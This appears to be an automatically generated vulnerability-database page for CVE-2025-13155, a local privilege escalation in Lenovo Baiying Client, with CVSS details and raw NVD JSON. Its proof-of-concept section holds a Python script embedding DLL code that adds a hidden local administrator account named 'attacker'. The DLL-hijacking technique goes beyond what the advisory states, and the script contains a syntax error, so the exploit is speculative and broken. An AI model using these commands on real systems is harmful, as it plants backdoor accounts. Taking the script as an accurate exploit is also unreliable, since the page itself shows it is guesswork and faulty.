Security Vulnerability Report
中文
CVE-2025-13155 CVSS 7.8 HIGH

CVE-2025-13155

Published: 2025-12-10 15:15:57
Last Modified: 2026-04-15 00:35:42

Description

An improper permissions vulnerability was reported in Lenovo Baiying Client that could allow a local authenticated user to execute code with elevated privileges.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Lenovo Baiying Client (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13155 PoC - Lenovo Baiying Client Local Privilege Escalation # This PoC demonstrates the exploitation technique (for authorized testing only) import os import sys import ctypes import shutil from pathlib import Path def check_vulnerability(): """Check if Lenovo Baiying Client is installed and vulnerable""" Baiying_paths = [ r"C:\Program Files\Lenovo\Baiying\bin\Baiying.exe", r"C:\Program Files (x86)\Lenovo\Baiying\bin\Baiying.exe", r"C:\Program Files\Lenovo\Baiying\Baiying.exe" ] for path in Baiying_paths: if os.path.exists(path): print(f"[+] Found Lenovo Baiying Client: {path}") # Check for weak permissions on service binary or config files return True print("[-] Lenovo Baiying Client not found") return False def exploit_dll_hijacking(): """Exploit DLL hijacking vulnerability""" # Target directory with weak permissions target_dir = r"C:\Program Files\Lenovo\Baiying\bin\" malicious_dll = os.path.join(target_dir, "LenovoDLL.dll") # Create malicious DLL payload malicious_code = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Spawn elevated command prompt system("cmd.exe /c whoami > C:\\\\temp_priv_esc.txt"); WinExec("cmd.exe /c net user attacker P@ssw0rd! /add", SW_HIDE); WinExec("cmd.exe /c net localgroup Administrators attacker /add", SW_HIDE); } return TRUE; } ''' print("[*] This is a demonstration of the attack vector") print("[*] In a real attack, a malicious DLL would be placed in the target directory") print("[*] When Baiying Client restarts, the DLL would be loaded with elevated privileges") return True def main(): print("=" * 60) print("CVE-2025-13155 - Lenovo Baiying Client LPE PoC") print("=" * 60) if not ctypes.windll.shell32.IsUserAnAdmin(): print("[*] Running as standard user") print("[*] Attempting to exploit privilege escalation...") if check_vulnerability(): exploit_dll_hijacking() print("[+] Exploitation attempt completed") else: print("[!] Running as administrator - PoC requires standard user context") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13155", "sourceIdentifier": "[email protected]", "published": "2025-12-10T15:15:56.613", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An improper permissions vulnerability was reported in Lenovo Baiying Client that could allow a local authenticated user to execute code with elevated privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-276"}]}], "references": [{"url": "https://iknow.lenovo.com.cn/detail/435005", "source": "[email protected]"}]}}